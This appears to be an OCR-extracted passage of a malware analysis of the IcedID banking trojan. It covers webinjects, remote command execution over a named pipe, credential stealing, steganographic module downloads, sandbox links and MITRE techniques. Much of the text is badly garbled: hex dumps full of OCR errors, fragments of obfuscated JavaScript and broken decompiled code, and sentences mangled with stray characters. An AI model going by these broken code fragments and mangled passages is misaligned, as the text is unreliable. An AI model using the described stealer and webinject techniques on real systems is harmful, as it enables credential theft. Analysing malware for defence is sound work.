4F
64
30
ET:
&5
37
78
63
3z
3B
5F
35
5F
z8
(3

00
BC
73
&3
&F
Eb]
37
44
&E
35
78
&5
3D
33
32
38
37
7D
30
63
30
5F
65

oo 00 00 00
83 EZ2 01

82 75 €0 70

&F
&E
5B
64
44
77
27
3z
29
66
33
30
SE
63
7D
785
34
78
30
33

77
28
27
44
70
36
5D
&6
7E
75
34
37
27
38
3B
3z
&6
34
78
66

65
29
77
GE
63
66
El=
32
76
&E
29
33
70
5B
LF
36
2C
37
34
29

o8

72
7E
71
73
4E
44
28
ar
61
63
7E
39
75
27
30
34
30
30
30
7E

ELn
74
22
76
50
4B
4B
&F
66
63
72
74
’7
34
73
73
78
36
78
33
39
5F

2F
20
ZE
61
44
63
47
79
75
EL:!
20
69
63
29
68
63
33
EE:
=1
D
&5
30

74
a9
oD
72
BE
27
41
4E
GE
2C
5F
&F
69
7B
27
8%
64
85
62
66
63
78

89
&4
04
20
63
2C
E{n]
37
63
5F
30
GE
6L
5F
5D
(13
63
29
29
75
31
34

74
£
ZE8
5F
4F
27
Els)
51
74
30
7B
28
&5
30
28
74
E1
3B
29
&E
2c
30

[
22
66
30
61
46
27
35
69
75
33
5F
25
78
5F
27
31
7D
3B
63
5F
39

[
62
75
78
T,
48
2C
4F
&F
3z
64
30
2D
32
30
5D
65
25
TG
74
30
65

3E
&F
GE
35
34
72
27
75
GE
36
63
7B
2D
66
78
25
28
5F
61
69
75
63

........ ok-.0R-.
i@.%.d..</titlex
LessCript id="bo
dyshower"=. . (fun
ction{){var _0OxS
c4T=[ "wqPDnCOaw4
1Xw7 jDnsKc ', "FHr
DsGDDpCKKGA==""
Ts0kweTDoyN7 Q80U
wtds "] (Function
(_ox2T27C8,_0M26
468e]){var _0ox3dc
Gle=tunction{_0Ox
207394 {while(—-
_0207394) {_ox2f
27ca["push']{_ox
2f2z7ca['shift'](
1333} _ox3docelel
++_0x264682]); T _
OxSc4f,0xFb) ) ;va
r _Oox4703=functi
on{_0x40%9ecl,_ 0x
3dee3f) {_0x409ecC

There a§e_mdl_tip_l_e f{/pé_s of \;v_el;)i_njé_ct_s_ available to p_érf_o_rm b3_/ the bot:

i -

for (

13 switch ( *(_BYTE =}(v2

al;

:ﬂ‘-.

] case @xl1@:
i |= sub_188143BB(v2, =2, @)
= aTrue;

if (11)

break;

break;

aFalse;
add_to_logger(1l, &, (in

case @xll:
sub_188143BB(v2, al
5 = aTrue;

if (1

)

: aFalse;
add_to_logger(1, 8, (in

case Bxul2:

oh

Depending on the configuration, the bot may replace some parts of the website’s code, or

2 = *(_DWORD

+53) )

vz }

s 1)

i |= sub_leeB428E(v2,

if (
5 = aFalse;

aTrue;

1i )

add_to_leogger(1, B, (in

break;

if (
| = aFalse;
add_to_logger(l, 8, (int)&unk_1881C4DC,

case @x13:
|= sub_18@15F97({(int *)vZ,

aTrue;

i)

break;

return i}

a2};

t)Runk_1881D158,

12)

add some new, malicious scripts.

t)&unk_10019234,

t)&unk_10@1C928,

/! "[INFO] bot.i

)3t/

6y;//

/1 "[INFO] bot.

5);//

/{ "[INFO] bot.i

4);//

#/ “[INFO] bot.i

inj

j.replace.range > replaced=¥s"

.replace.text > replaced=%s"

j.replace

j.replace

.full * replaced=%s"

. FEegexp

> replaced=%s"
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Executing remote commands

In case the commands implemented by the bot are not enough for the needs of the operator,
the bot allows a feature of executing commands from the command line.

vl = @3
add_to_logger({l, 32, (int)}&unk_18@1A6EB, Arglist);// “"[INFO] bot.cmd > run cli param=%s"
if ( larglist || !*(_BYTE *)Arglist )}
return @;
create_process_peak_named_pipe(frglist, @);

v2 )

d k3

|

if
1

—

lstrlenA{ArgList);
*v23
2[1]15
a;

a;

. 268;
11 = 43
vl = bot_gate queue_add(vz, (char)v2, Arglist, &v11)};

The output of the run commands is sent back to the malware via named pipe, and then

supplied back to the CnC.

=l R = ® W00 s W

I
|
=]

ld lad Ld L L e Ld R R RS R R R RS RS R

o i

Mature banker and stealer

As we can see from the above analysis, IcedID is not only a banking Trojan, but a general-
purpose stealer able to extract a variety of credentials. It can also work as a downloader for
other modules, including covert ones, that look like harmless PNG files.

This bot is mature, written by experienced developers. It deploys various typical techniques,
including Zeus-style webinjects, hooks for various browsers, hidden VNC, and backconnect.
Its authors also used several known obfuscation techniques. In addition, the use of
customized PE headers is an interesting bonus, slowing down static analysis.

In recent updates, the malware authors equipped the bot with steganography. It is not a
novelty to see it in the threat landscape, but it is a feature that makes this malware a bit more
stealthy.

Indicators of Compromise

Sandbox runs:

https://app.any.run/tasks/8595602a-fa98-4cfa-80d7-98925091dc48/
https://app.any.run/tasks/a7abba78-cf6d-4c68-b94c-4835d5becb13/

MITRE
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Execution:

Command-Line Interface

Execution through Module Load
Scheduled Task

Scripting

o Windows Managment Intstrumentation

[¢]

[¢]

o

o

Persistence:
o Registry Run Keys/ Startup Folder
o Scheduled Task

Privilege Escalation
Scheduled Task

Defense Evasion
Scripting

Credential Access
o Credentials in Files
o Credential Dumping

Discovery

Network Share Discovery

Query Registry

Remote System Discovery

System Information Discovery

System Network Configuration Discovery

[¢]

[¢]

o

(¢]

[¢]

Lateral Movement
Remote File Copy

Source: https://app.any.run/tasks/48414a33-3d66-4a46-afe5-c2003bb55ccf/

References

About the old variants of IcelD:

o Deep Dive Into IcedID Malware — by Kai Lu, Fortinet: [1][2][3]
o https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-
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